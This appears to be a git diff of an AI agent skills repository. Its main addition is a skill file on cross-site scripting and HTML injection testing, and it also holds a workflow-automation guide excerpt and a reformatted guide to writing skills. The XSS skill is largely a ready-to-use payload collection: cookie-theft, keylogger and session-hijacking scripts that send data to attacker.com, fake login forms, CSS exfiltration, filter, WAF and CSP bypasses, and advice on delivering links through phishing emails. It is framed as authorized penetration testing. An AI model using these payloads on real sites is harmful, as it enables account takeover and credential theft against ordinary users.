+- [ ] **Logging**: Is there enough observability?
+- [ ] **Rate limits**: Are external APIs rate-limited?
+- [ ] **Secrets**: Are credentials stored securely?
+- [ ] **Testing**: Can workflow be tested in isolation?
+
+### 6.2 Naming Conventions
+
+```javascript
+// Workflows: verb_noun or noun_verb
+"sync_customers";
+"process_orders";
+"daily_report_generator";
+
+// Nodes: action_target
+"fetch_user_data";
+"transform_to_csv";
+"send_notification_email";
+
+// Variables: lowercase_snake_case
+"order_total";
+"customer_email";
+"processing_date";
+```
+
+### 6.3 Testing Workflows
+
+```javascript
+const workflowTest = {
+  name: "order_processing_test",
+  workflow: "process_order",
+  testCases: [
+    {
+      name: "valid_order",
+      input: {
+        order_id: "test-123",
+        items: [{ sku: "A1", qty: 2 }],
+      },
+      expectedOutput: {
+        status: "processed",
+      },
+      mocks: {
+        inventory_check: { available: true },
+        payment_process: { success: true },
+      },
+    },
+    {
+      name: "out_of_stock",
+      input: {
+        order_id: "test-456",
+        items: [{ sku: "B2", qty: 100 }],
+      },
+      expectedOutput: {
+        status: "failed",
+        reason: "insufficient_inventory",
+      },
+      mocks: {
+        inventory_check: { available: false },
+      },
+    },
+  ],
+};
+```
+
+---
+
+## Resource Links
+
+- [n8n Documentation](https://docs.n8n.io/)
+- [Temporal Workflows](https://temporal.io/)
+- [Apache Airflow](https://airflow.apache.org/)
+- [Zapier Automation Patterns](https://zapier.com/blog/automation-patterns/)

skills/writing-skills/SKILL.md

@@ -29,30 +29,32 @@ A **skill** is a reference guide for proven techniques, patterns, or tools. Skil
 
 ## TDD Mapping for Skills
 
-| TDD Concept | Skill Creation |
+| TDD Concept             | Skill Creation                                   |
-|-------------|----------------|
+| ----------------------- | ------------------------------------------------ |
-| **Test case** | Pressure scenario with subagent |
+| **Test case**           | Pressure scenario with subagent                  |
-| **Production code** | Skill document (SKILL.md) |
+| **Production code**     | Skill document (SKILL.md)                        |
-| **Test fails (RED)** | Agent violates rule without skill (baseline) |
+| **Test fails (RED)**    | Agent violates rule without skill (baseline)     |
-| **Test passes (GREEN)** | Agent complies with skill present |
+| **Test passes (GREEN)** | Agent complies with skill present                |
-| **Refactor** | Close loopholes while maintaining compliance |
+| **Refactor**            | Close loopholes while maintaining compliance     |
-| **Write test first** | Run baseline scenario BEFORE writing skill |
+| **Write test first**    | Run baseline scenario BEFORE writing skill       |
-| **Watch it fail** | Document exact rationalizations agent uses |
+| **Watch it fail**       | Document exact rationalizations agent uses       |
-| **Minimal code** | Write skill addressing those specific violations |
+| **Minimal code**        | Write skill addressing those specific violations |
-| **Watch it pass** | Verify agent now complies |
+| **Watch it pass**       | Verify agent now complies                        |
-| **Refactor cycle** | Find new rationalizations → plug → re-verify |
+| **Refactor cycle**      | Find new rationalizations → plug → re-verify     |
 
 The entire skill creation process follows RED-GREEN-REFACTOR.
 
 ## When to Create a Skill
 
 **Create when:**
+
 - Technique wasn't intuitively obvious to you
 - You'd reference this again across projects
 - Pattern applies broadly (not project-specific)
 - Others would benefit
 
 **Don't create for:**
+
 - One-off solutions
 - Standard practices well-documented elsewhere
 - Project-specific conventions (put in CLAUDE.md)
@@ -61,17 +63,19 @@ The entire skill creation process follows RED-GREEN-REFACTOR.
 ## Skill Types
 
 ### Technique
+
 Concrete method with steps to follow (condition-based-waiting, root-cause-tracing)
 
 ### Pattern
+
 Way of thinking about problems (flatten-with-flags, test-invariants)
 
 ### Reference
+
 API docs, syntax guides, tool documentation (office docs)
 
 ## Directory Structure
 
-
 ```
 skills/
   skill-name/
@@ -82,17 +86,41 @@ skills/
 **Flat namespace** - all skills in one searchable namespace
 
 **Separate files for:**
+
 1. **Heavy reference** (100+ lines) - API docs, comprehensive syntax
 2. **Reusable tools** - Scripts, utilities, templates
 
 **Keep inline:**
+
 - Principles and concepts
 - Code patterns (< 50 lines)
 - Everything else
 
+## Set Appropriate Degrees of Freedom
+
+Match the level of specificity to the task's fragility and variability:
+
+- **High freedom (text-based instructions)**: Use when multiple approaches are valid or decisions depend on context.
+- **Medium freedom (pseudocode or scripts with parameters)**: Use when a preferred pattern exists but some variation is acceptable.
+- **Low freedom (specific scripts, no-context instructions)**: Use when operations are fragile, error-prone, or consistency is critical.
+
+## Progressive Disclosure
+
+Manage context efficiently by splitting detailed information into separate files:
+
+1. **Metadata (name + description)**: Always loaded for discovery.
+2. **SKILL.md body**: Core workflow and high-level guidance. Keep under 500 lines.
+3. **Bundled resources**:
+   - `scripts/`: Deterministic code/logic.
+   - `references/`: Detailed schemas, API docs, or domain knowledge.
+   - `assets/`: Templates, images, or static files.
+
+**Pattern**: Link to advanced content or variant-specific details (e.g., `aws.md` vs `gcp.md`) from the main `SKILL.md`.
+
 ## SKILL.md Structure
 
 **Frontmatter (YAML):**
+
 - Only two fields supported: `name` and `description`
 - Max 1024 characters total
 - `name`: Use letters, numbers, and hyphens only (no parentheses, special chars)
@@ -111,32 +139,38 @@ description: Use when [specific triggering conditions and symptoms]
 # Skill Name
 
 ## Overview
+
 What is this? Core principle in 1-2 sentences.
 
 ## When to Use
+
 [Small inline flowchart IF decision non-obvious]
 
 Bullet list with SYMPTOMS and use cases
 When NOT to use
 
 ## Core Pattern (for techniques/patterns)
+
 Before/after code comparison
 
 ## Quick Reference
+
 Table or bullets for scanning common operations
 
 ## Implementation
+
 Inline code for simple patterns
 Link to file for heavy reference or reusable tools
 
 ## Common Mistakes
+
 What goes wrong + fixes
 
 ## Real-World Impact (optional)
+
 Concrete results
 ```
 
-
 ## Claude Search Optimization (CSO)
 
 **Critical for discovery:** Future Claude needs to FIND your skill
@@ -172,8 +206,9 @@ description: Use when implementing any feature or bugfix, before writing impleme
 ```
 
 **Content:**
+
 - Use concrete triggers, symptoms, and situations that signal this skill applies
-- Describe the *problem* (race conditions, inconsistent behavior) not *language-specific symptoms* (setTimeout, sleep)
+- Describe the _problem_ (race conditions, inconsistent behavior) not _language-specific symptoms_ (setTimeout, sleep)
 - Keep triggers technology-agnostic unless the skill itself is technology-specific
 - If skill is technology-specific, make that explicit in the trigger
 - Write in third person (injected into system prompt)
@@ -199,6 +234,7 @@ description: Use when using React Router and handling authentication redirects
 ### 2. Keyword Coverage
 
 Use words Claude would search for:
+
 - Error messages: "Hook timed out", "ENOTEMPTY", "race condition"
 - Symptoms: "flaky", "hanging", "zombie", "pollution"
 - Synonyms: "timeout/hang/freeze", "cleanup/teardown/afterEach"
@@ -207,6 +243,7 @@ Use words Claude would search for:
 ### 3. Descriptive Naming
 
 **Use active voice, verb-first:**
+
 - ✅ `creating-skills` not `skill-creation`
 - ✅ `condition-based-waiting` not `async-test-helpers`
 
@@ -215,6 +252,7 @@ Use words Claude would search for:
 **Problem:** getting-started and frequently-referenced skills load into EVERY conversation. Every token counts.
 
 **Target word counts:**
+
 - getting-started workflows: <150 words each
 - Frequently-loaded skills: <200 words total
 - Other skills: <500 words (still be concise)
@@ -222,6 +260,7 @@ Use words Claude would search for:
 **Techniques:**
 
 **Move details to tool help:**
+
 ```bash
 # ❌ BAD: Document all flags in SKILL.md
 search-conversations supports --text, --both, --after DATE, --before DATE, --limit N
@@ -231,34 +270,42 @@ search-conversations supports multiple modes and filters. Run --help for details
 ```
 
 **Use cross-references:**
+
 ```markdown
 # ❌ BAD: Repeat workflow details
+
 When searching, dispatch subagent with template...
 [20 lines of repeated instructions]
 
 # ✅ GOOD: Reference other skill
+
 Always use subagents (50-100x context savings). REQUIRED: Use [other-skill-name] for workflow.
 ```
 
 **Compress examples:**
+
 ```markdown
 # ❌ BAD: Verbose example (42 words)
+
 your human partner: "How did we handle authentication errors in React Router before?"
 You: I'll search past conversations for React Router authentication patterns.
 [Dispatch subagent with search query: "React Router authentication error handling 401"]
 
 # ✅ GOOD: Minimal example (20 words)
+
 Partner: "How did we handle auth errors in React Router?"
 You: Searching...
 [Dispatch subagent → synthesis]
 ```
 
 **Eliminate redundancy:**
+
 - Don't repeat what's in cross-referenced skills
 - Don't explain what's obvious from command
 - Don't include multiple examples of same pattern
 
 **Verification:**
+
 ```bash
 wc -w skills/path/SKILL.md
 # getting-started workflows: aim for <150 each
@@ -266,12 +313,14 @@ wc -w skills/path/SKILL.md
 ```
 
 **Name by what you DO or core insight:**
+
 - ✅ `condition-based-waiting` > `async-test-helpers`
 - ✅ `using-skills` not `skill-usage`
 - ✅ `flatten-with-flags` > `data-structure-refactoring`
 - ✅ `root-cause-tracing` > `debugging-techniques`
 
 **Gerunds (-ing) work well for processes:**
+
 - `creating-skills`, `testing-skills`, `debugging-with-logs`
 - Active, describes the action you're taking
 
@@ -280,6 +329,7 @@ wc -w skills/path/SKILL.md
 **When writing documentation that references other skills:**
 
 Use skill name only, with explicit requirement markers:
+
 - ✅ Good: `**REQUIRED SUB-SKILL:** Use superpowers:test-driven-development`
 - ✅ Good: `**REQUIRED BACKGROUND:** You MUST understand superpowers:systematic-debugging`
 - ❌ Bad: `See skills/testing/test-driven-development` (unclear if required)
@@ -303,11 +353,13 @@ digraph when_flowchart {
 ```
 
 **Use flowcharts ONLY for:**
+
 - Non-obvious decision points
 - Process loops where you might stop too early
 - "When to use A vs B" decisions
 
 **Never use flowcharts for:**
+
 - Reference material → Tables, lists
 - Code examples → Markdown blocks
 - Linear instructions → Numbered lists
@@ -316,6 +368,7 @@ digraph when_flowchart {
 See @graphviz-conventions.dot for graphviz style rules.
 
 **Visualizing for your human partner:** Use `render-graphs.js` in this directory to render a skill's flowcharts to SVG:
+
 ```bash
 ./render-graphs.js ../some-skill           # Each diagram separately
 ./render-graphs.js ../some-skill --combine # All diagrams in one SVG
@@ -326,11 +379,13 @@ See @graphviz-conventions.dot for graphviz style rules.
 **One excellent example beats many mediocre ones**
 
 Choose most relevant language:
+
 - Testing techniques → TypeScript/JavaScript
 - System debugging → Shell/Python
 - Data processing → Python
 
 **Good example:**
+
 - Complete and runnable
 - Well-commented explaining WHY
 - From real scenario
@@ -338,6 +393,7 @@ Choose most relevant language:
 - Ready to adapt (not generic template)
 
 **Don't:**
+
 - Implement in 5+ languages
 - Create fill-in-the-blank templates
 - Write contrived examples
@@ -347,21 +403,26 @@ You're good at porting - one great example is enough.
 ## File Organization
 
 ### Self-Contained Skill
+
 ```
 defense-in-depth/
   SKILL.md    # Everything inline
 ```
+
 When: All content fits, no heavy reference needed
 
 ### Skill with Reusable Tool
+
 ```
 condition-based-waiting/
   SKILL.md    # Overview + patterns
   example.ts  # Working helpers to adapt
 ```
+
 When: Tool is reusable code, not just narrative
 
 ### Skill with Heavy Reference
+
 ```
 pptx/
   SKILL.md       # Overview + workflows
@@ -369,6 +430,7 @@ pptx/
   ooxml.md       # 500 lines XML structure
   scripts/       # Executable tools
 ```
+
 When: Reference material too large for inline
 
 ## The Iron Law (Same as TDD)
@@ -383,6 +445,7 @@ Write skill before testing? Delete it. Start over.
 Edit skill without testing? Same violation.
 
 **No exceptions:**
+
 - Not for "simple additions"
 - Not for "just adding a section"
 - Not for "documentation updates"
@@ -401,6 +464,7 @@ Different skill types need different test approaches:
 **Examples:** TDD, verification-before-completion, designing-before-coding
 
 **Test with:**
+
 - Academic questions: Do they understand the rules?
 - Pressure scenarios: Do they comply under stress?
 - Multiple pressures combined: time + sunk cost + exhaustion
@@ -413,6 +477,7 @@ Different skill types need different test approaches:
 **Examples:** condition-based-waiting, root-cause-tracing, defensive-programming
 
 **Test with:**
+
 - Application scenarios: Can they apply the technique correctly?
 - Variation scenarios: Do they handle edge cases?
 - Missing information tests: Do instructions have gaps?
@@ -424,6 +489,7 @@ Different skill types need different test approaches:
 **Examples:** reducing-complexity, information-hiding concepts
 
 **Test with:**
+
 - Recognition scenarios: Do they recognize when pattern applies?
 - Application scenarios: Can they use the mental model?
 - Counter-examples: Do they know when NOT to apply?
@@ -435,6 +501,7 @@ Different skill types need different test approaches:
 **Examples:** API documentation, command references, library guides
 
 **Test with:**
+
 - Retrieval scenarios: Can they find the right information?
 - Application scenarios: Can they use what they found correctly?
 - Gap testing: Are common use cases covered?
@@ -443,16 +510,16 @@ Different skill types need different test approaches:
 
 ## Common Rationalizations for Skipping Testing
 
-| Excuse | Reality |
+| Excuse                         | Reality                                                          |
-|--------|---------|
+| ------------------------------ | ---------------------------------------------------------------- |
-| "Skill is obviously clear" | Clear to you ≠ clear to other agents. Test it. |
+| "Skill is obviously clear"     | Clear to you ≠ clear to other agents. Test it.                   |
-| "It's just a reference" | References can have gaps, unclear sections. Test retrieval. |
+| "It's just a reference"        | References can have gaps, unclear sections. Test retrieval.      |
-| "Testing is overkill" | Untested skills have issues. Always. 15 min testing saves hours. |
+| "Testing is overkill"          | Untested skills have issues. Always. 15 min testing saves hours. |
-| "I'll test if problems emerge" | Problems = agents can't use skill. Test BEFORE deploying. |
+| "I'll test if problems emerge" | Problems = agents can't use skill. Test BEFORE deploying.        |
-| "Too tedious to test" | Testing is less tedious than debugging bad skill in production. |
+| "Too tedious to test"          | Testing is less tedious than debugging bad skill in production.  |
-| "I'm confident it's good" | Overconfidence guarantees issues. Test anyway. |
+| "I'm confident it's good"      | Overconfidence guarantees issues. Test anyway.                   |
-| "Academic review is enough" | Reading ≠ using. Test application scenarios. |
+| "Academic review is enough"    | Reading ≠ using. Test application scenarios.                     |
-| "No time to test" | Deploying untested skill wastes more time fixing it later. |
+| "No time to test"              | Deploying untested skill wastes more time fixing it later.       |
 
 **All of these mean: Test before deploying. No exceptions.**
 
@@ -477,11 +544,13 @@ Write code before test? Delete it.
 Write code before test? Delete it. Start over.
 
 **No exceptions:**
+
 - Don't keep it as "reference"
 - Don't "adapt" it while writing tests
 - Don't look at it
 - Delete means delete
-```
+
+````
 </Good>
 
 ### Address "Spirit vs Letter" Arguments
@@ -490,7 +559,7 @@ Add foundational principle early:
 
 ```markdown
 **Violating the letter of the rules is violating the spirit of the rules.**
-```
+````
 
 This cuts off entire class of "I'm following the spirit" rationalizations.
 
@@ -499,10 +568,10 @@ This cuts off entire class of "I'm following the spirit" rationalizations.
 Capture rationalizations from baseline testing (see Testing section below). Every excuse agents make goes in the table:
 
 ```markdown
-| Excuse | Reality |
+| Excuse                           | Reality                                                                 |
-|--------|---------|
+| -------------------------------- | ----------------------------------------------------------------------- |
-| "Too simple to test" | Simple code breaks. Test takes 30 seconds. |
+| "Too simple to test"             | Simple code breaks. Test takes 30 seconds.                              |
-| "I'll test after" | Tests passing immediately prove nothing. |
+| "I'll test after"                | Tests passing immediately prove nothing.                                |
 | "Tests after achieve same goals" | Tests-after = "what does this do?" Tests-first = "what should this do?" |
 ```
 
@@ -537,6 +606,7 @@ Follow the TDD cycle:
 ### RED: Write Failing Test (Baseline)
 
 Run pressure scenario with subagent WITHOUT the skill. Document exact behavior:
+
 - What choices did they make?
 - What rationalizations did they use (verbatim)?
 - Which pressures triggered violations?
@@ -554,6 +624,7 @@ Run same scenarios WITH skill. Agent should now comply.
 Agent found new rationalization? Add explicit counter. Re-test until bulletproof.
 
 **Testing methodology:** See @testing-skills-with-subagents.md for the complete testing methodology:
+
 - How to write pressure scenarios
 - Pressure types (time, sunk cost, authority, exhaustion)
 - Plugging holes systematically
@@ -562,21 +633,26 @@ Agent found new rationalization? Add explicit counter. Re-test until bulletproof
 ## Anti-Patterns
 
 ### ❌ Narrative Example
+
 "In session 2025-10-03, we found empty projectDir caused..."
 **Why bad:** Too specific, not reusable
 
 ### ❌ Multi-Language Dilution
+
 example-js.js, example-py.py, example-go.go
 **Why bad:** Mediocre quality, maintenance burden
 
 ### ❌ Code in Flowcharts
+
 ```dot
 step1 [label="import fs"];
 step2 [label="read file"];
 ```
+
 **Why bad:** Can't copy-paste, hard to read
 
 ### ❌ Generic Labels
+
 helper1, helper2, step3, pattern4
 **Why bad:** Labels should have semantic meaning
 
@@ -585,6 +661,7 @@ helper1, helper2, step3, pattern4
 **After writing ANY skill, you MUST STOP and complete the deployment process.**
 
 **Do NOT:**
+
 - Create multiple skills in batch without testing each
 - Move to next skill before current one is verified
 - Skip testing because "batching is more efficient"
@@ -598,11 +675,13 @@ Deploying untested skills = deploying untested code. It's a violation of quality
 **IMPORTANT: Use TodoWrite to create todos for EACH checklist item below.**
 
 **RED Phase - Write Failing Test:**
+
 - [ ] Create pressure scenarios (3+ combined pressures for discipline skills)
 - [ ] Run scenarios WITHOUT skill - document baseline behavior verbatim
 - [ ] Identify patterns in rationalizations/failures
 
 **GREEN Phase - Write Minimal Skill:**
+
 - [ ] Name uses only letters, numbers, hyphens (no parentheses/special chars)
 - [ ] YAML frontmatter with only name and description (max 1024 chars)
 - [ ] Description starts with "Use when..." and includes specific triggers/symptoms
@@ -615,6 +694,7 @@ Deploying untested skills = deploying untested code. It's a violation of quality
 - [ ] Run scenarios WITH skill - verify agents now comply
 
 **REFACTOR Phase - Close Loopholes:**
+
 - [ ] Identify NEW rationalizations from testing
 - [ ] Add explicit counters (if discipline skill)
 - [ ] Build rationalization table from all test iterations
@@ -622,6 +702,7 @@ Deploying untested skills = deploying untested code. It's a violation of quality
 - [ ] Re-test until bulletproof
 
 **Quality Checks:**
+
 - [ ] Small flowchart only if decision non-obvious
 - [ ] Quick reference table
 - [ ] Common mistakes section
@@ -629,6 +710,7 @@ Deploying untested skills = deploying untested code. It's a violation of quality
 - [ ] Supporting files only for tools or heavy reference
 
 **Deployment:**
+
 - [ ] Commit skill to git and push to your fork (if configured)
 - [ ] Consider contributing back via PR (if broadly useful)
 
@@ -637,10 +719,10 @@ Deploying untested skills = deploying untested code. It's a violation of quality
 How future Claude finds your skill:
 
 1. **Encounters problem** ("tests are flaky")
-3. **Finds SKILL** (description matches)
+2. **Finds SKILL** (description matches)
-4. **Scans overview** (is this relevant?)
+3. **Scans overview** (is this relevant?)
-5. **Reads patterns** (quick reference table)
+4. **Reads patterns** (quick reference table)
-6. **Loads example** (only when implementing)
+5. **Loads example** (only when implementing)
 
 **Optimize for this flow** - put searchable terms early and often.
 

skills/xss-html-injection/SKILL.md

@@ -0,0 +1,496 @@
+---
+name: Cross-Site Scripting and HTML Injection Testing
+description: This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
+---
+
+# Cross-Site Scripting and HTML Injection Testing
+
+## Purpose
+
+Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
+
+## Inputs / Prerequisites
+
+### Required Access
+- Target web application URL with user input fields
+- Burp Suite or browser developer tools for request analysis
+- Access to create test accounts for stored XSS testing
+- Browser with JavaScript console enabled
+
+### Technical Requirements
+- Understanding of JavaScript execution in browser context
+- Knowledge of HTML DOM structure and manipulation
+- Familiarity with HTTP request/response headers
+- Understanding of cookie attributes and session management
+
+### Legal Prerequisites
+- Written authorization for security testing
+- Defined scope including target domains and features
+- Agreement on handling of any captured session data
+- Incident response procedures established
+
+## Outputs / Deliverables
+
+- XSS/HTMLi vulnerability report with severity classifications
+- Proof-of-concept payloads demonstrating impact
+- Session hijacking demonstrations (controlled environment)
+- Remediation recommendations with CSP configurations
+
+## Core Workflow
+
+### Phase 1: Vulnerability Detection
+
+#### Identify Input Reflection Points
+Locate areas where user input is reflected in responses:
+
+```
+# Common injection vectors
+- Search boxes and query parameters
+- User profile fields (name, bio, comments)
+- URL fragments and hash values
+- Error messages displaying user input
+- Form fields with client-side validation only
+- Hidden form fields and parameters
+- HTTP headers (User-Agent, Referer)
+```
+
+#### Basic Detection Testing
+Insert test strings to observe application behavior:
+
+```html
+<!-- Basic reflection test -->
+<test123>
+
+<!-- Script tag test -->
+<script>alert('XSS')</script>
+
+<!-- Event handler test -->
+<img src=x onerror=alert('XSS')>
+
+<!-- SVG-based test -->
+<svg onload=alert('XSS')>
+
+<!-- Body event test -->
+<body onload=alert('XSS')>
+```
+
+Monitor for:
+- Raw HTML reflection without encoding
+- Partial encoding (some characters escaped)
+- JavaScript execution in browser console
+- DOM modifications visible in inspector
+
+#### Determine XSS Type
+
+**Stored XSS Indicators:**
+- Input persists after page refresh
+- Other users see injected content
+- Content stored in database/filesystem
+
+**Reflected XSS Indicators:**
+- Input appears only in current response
+- Requires victim to click crafted URL
+- No persistence across sessions
+
+**DOM-Based XSS Indicators:**
+- Input processed by client-side JavaScript
+- Server response doesn't contain payload
+- Exploitation occurs entirely in browser
+
+### Phase 2: Stored XSS Exploitation
+
+#### Identify Storage Locations
+Target areas with persistent user content:
+
+```
+- Comment sections and forums
+- User profile fields (display name, bio, location)
+- Product reviews and ratings
+- Private messages and chat systems
+- File upload metadata (filename, description)
+- Configuration settings and preferences
+```
+
+#### Craft Persistent Payloads
+
+```html
+<!-- Cookie stealing payload -->
+<script>
+document.location='http://attacker.com/steal?c='+document.cookie
+</script>
+
+<!-- Keylogger injection -->
+<script>
+document.onkeypress=function(e){
+  new Image().src='http://attacker.com/log?k='+e.key;
+}
+</script>
+
+<!-- Session hijacking -->
+<script>
+fetch('http://attacker.com/capture',{
+  method:'POST',
+  body:JSON.stringify({cookies:document.cookie,url:location.href})
+})
+</script>
+
+<!-- Phishing form injection -->
+<div id="login">
+<h2>Session Expired - Please Login</h2>
+<form action="http://attacker.com/phish" method="POST">
+Username: <input name="user"><br>
+Password: <input type="password" name="pass"><br>
+<input type="submit" value="Login">
+</form>
+</div>
+```
+
+### Phase 3: Reflected XSS Exploitation
+
+#### Construct Malicious URLs
+Build URLs containing XSS payloads:
+
+```
+# Basic reflected payload
+https://target.com/search?q=<script>alert(document.domain)</script>
+
+# URL-encoded payload
+https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
+
+# Event handler in parameter
+https://target.com/page?name="><img src=x onerror=alert(1)>
+
+# Fragment-based (for DOM XSS)
+https://target.com/page#<script>alert(1)</script>
+```
+
+#### Delivery Methods
+Techniques for delivering reflected XSS to victims:
+
+```
+1. Phishing emails with crafted links
+2. Social media message distribution
+3. URL shorteners to obscure payload
+4. QR codes encoding malicious URLs
+5. Redirect chains through trusted domains
+```
+
+### Phase 4: DOM-Based XSS Exploitation
+
+#### Identify Vulnerable Sinks
+Locate JavaScript functions that process user input:
+
+```javascript
+// Dangerous sinks
+document.write()
+document.writeln()
+element.innerHTML
+element.outerHTML
+element.insertAdjacentHTML()
+eval()
+setTimeout()
+setInterval()
+Function()
+location.href
+location.assign()
+location.replace()
+```
+
+#### Identify Sources
+Locate where user-controlled data enters the application:
+
+```javascript
+// User-controllable sources
+location.hash
+location.search
+location.href
+document.URL
+document.referrer
+window.name
+postMessage data
+localStorage/sessionStorage
+```
+
+#### DOM XSS Payloads
+
+```javascript
+// Hash-based injection
+https://target.com/page#<img src=x onerror=alert(1)>
+
+// URL parameter injection (processed client-side)
+https://target.com/page?default=<script>alert(1)</script>
+
+// PostMessage exploitation
+// On attacker page:
+<iframe src="https://target.com/vulnerable"></iframe>
+<script>
+frames[0].postMessage('<img src=x onerror=alert(1)>','*');
+</script>
+```
+
+### Phase 5: HTML Injection Techniques
+
+#### Reflected HTML Injection
+Modify page appearance without JavaScript:
+
+```html
+<!-- Content injection -->
+<h1>SITE HACKED</h1>
+
+<!-- Form hijacking -->
+<form action="http://attacker.com/capture">
+<input name="credentials" placeholder="Enter password">
+<button>Submit</button>
+</form>
+
+<!-- CSS injection for data exfiltration -->
+<style>
+input[value^="a"]{background:url(http://attacker.com/a)}
+input[value^="b"]{background:url(http://attacker.com/b)}
+</style>
+
+<!-- iframe injection -->
+<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
+```
+
+#### Stored HTML Injection
+Persistent content manipulation:
+
+```html
+<!-- Marquee disruption -->
+<marquee>Important Security Notice: Your account is compromised!</marquee>
+
+<!-- Style override -->
+<style>body{background:red !important;}</style>
+
+<!-- Hidden content with CSS -->
+<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
+Fake login form or misleading content here
+</div>
+```
+
+### Phase 6: Filter Bypass Techniques
+
+#### Tag and Attribute Variations
+
+```html
+<!-- Case variation -->
+<ScRiPt>alert(1)</sCrIpT>
+<IMG SRC=x ONERROR=alert(1)>
+
+<!-- Alternative tags -->
+<svg/onload=alert(1)>
+<body/onload=alert(1)>
+<marquee/onstart=alert(1)>
+<details/open/ontoggle=alert(1)>
+<video><source onerror=alert(1)>
+<audio src=x onerror=alert(1)>
+
+<!-- Malformed tags -->
+<img src=x onerror=alert(1)//
+<img """><script>alert(1)</script>">
+```
+
+#### Encoding Bypass
+
+```html
+<!-- HTML entity encoding -->
+<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
+
+<!-- Hex encoding -->
+<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
+
+<!-- Unicode encoding -->
+<script>\u0061lert(1)</script>
+
+<!-- Mixed encoding -->
+<img src=x onerror=\u0061\u006cert(1)>
+```
+
+#### JavaScript Obfuscation
+
+```javascript
+// String concatenation
+<script>eval('al'+'ert(1)')</script>
+
+// Template literals
+<script>alert`1`</script>
+
+// Constructor execution
+<script>[].constructor.constructor('alert(1)')()</script>
+
+// Base64 encoding
+<script>eval(atob('YWxlcnQoMSk='))</script>
+
+// Without parentheses
+<script>alert`1`</script>
+<script>throw/a]a]/.source+onerror=alert</script>
+```
+
+#### Whitespace and Comment Bypass
+
+```html
+<!-- Tab/newline insertion -->
+<img src=x	onerror
+=alert(1)>
+
+<!-- JavaScript comments -->
+<script>/**/alert(1)/**/</script>
+
+<!-- HTML comments in attributes -->
+<img src=x onerror="alert(1)"<!--comment-->
+```
+
+## Quick Reference
+
+### XSS Detection Checklist
+```
+1. Insert <script>alert(1)</script> → Check execution
+2. Insert <img src=x onerror=alert(1)> → Check event handler
+3. Insert "><script>alert(1)</script> → Test attribute escape
+4. Insert javascript:alert(1) → Test href/src attributes
+5. Check URL hash handling → DOM XSS potential
+```
+
+### Common XSS Payloads
+
+| Context | Payload |
+|---------|---------|
+| HTML body | `<script>alert(1)</script>` |
+| HTML attribute | `"><script>alert(1)</script>` |
+| JavaScript string | `';alert(1)//` |
+| JavaScript template | `${alert(1)}` |
+| URL attribute | `javascript:alert(1)` |
+| CSS context | `</style><script>alert(1)</script>` |
+| SVG context | `<svg onload=alert(1)>` |
+
+### Cookie Theft Payload
+```javascript
+<script>
+new Image().src='http://attacker.com/c='+btoa(document.cookie);
+</script>
+```
+
+### Session Hijacking Template
+```javascript
+<script>
+fetch('https://attacker.com/log',{
+  method:'POST',
+  mode:'no-cors',
+  body:JSON.stringify({
+    cookies:document.cookie,
+    localStorage:JSON.stringify(localStorage),
+    url:location.href
+  })
+});
+</script>
+```
+
+## Constraints and Guardrails
+
+### Operational Boundaries
+- Never inject payloads that could damage production systems
+- Limit cookie/session capture to demonstration purposes only
+- Avoid payloads that could spread to unintended users (worm behavior)
+- Do not exfiltrate real user data beyond scope requirements
+
+### Technical Limitations
+- Content Security Policy (CSP) may block inline scripts
+- HttpOnly cookies prevent JavaScript access
+- SameSite cookie attributes limit cross-origin attacks
+- Modern frameworks often auto-escape outputs
+
+### Legal and Ethical Requirements
+- Written authorization required before testing
+- Report critical XSS vulnerabilities immediately
+- Handle captured credentials per data protection agreements
+- Do not use discovered vulnerabilities for unauthorized access
+
+## Examples
+
+### Example 1: Stored XSS in Comment Section
+
+**Scenario**: Blog comment feature vulnerable to stored XSS
+
+**Detection**:
+```
+POST /api/comments
+Content-Type: application/json
+
+{"body": "<script>alert('XSS')</script>", "postId": 123}
+```
+
+**Observation**: Comment renders and script executes for all viewers
+
+**Exploitation Payload**:
+```html
+<script>
+var i = new Image();
+i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
+</script>
+```
+
+**Result**: Every user viewing the comment has their session cookie sent to attacker's server.
+
+### Example 2: Reflected XSS via Search Parameter
+
+**Scenario**: Search results page reflects query without encoding
+
+**Vulnerable URL**:
+```
+https://shop.example.com/search?q=test
+```
+
+**Detection Test**:
+```
+https://shop.example.com/search?q=<script>alert(document.domain)</script>
+```
+
+**Crafted Attack URL**:
+```
+https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
+```
+
+**Delivery**: URL sent via phishing email to target user.
+
+### Example 3: DOM-Based XSS via Hash Fragment
+
+**Scenario**: JavaScript reads URL hash and inserts into DOM
+
+**Vulnerable Code**:
+```javascript
+document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
+```
+
+**Attack URL**:
+```
+https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
+```
+
+**Result**: Script executes entirely client-side; payload never touches server.
+
+### Example 4: CSP Bypass via JSONP Endpoint
+
+**Scenario**: Site has CSP but allows trusted CDN
+
+**CSP Header**:
+```
+Content-Security-Policy: script-src 'self' https://cdn.trusted.com
+```
+
+**Bypass**: Find JSONP endpoint on trusted domain:
+```html
+<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
+```
+
+**Result**: CSP bypassed using allowed script source.
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| Script not executing | Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled |
+| Payload appears but doesn't execute | Break out of attribute context with `"` or `'`; check if inside comment; test different contexts |
+| Cookies not accessible | Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode |
+| CSP blocking payloads | Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass |
+| WAF blocking requests | Use encoding variations; fragment payload; null bytes; case variations |

skills_index.json

@@ -1,52 +1,268 @@
 [
+  {
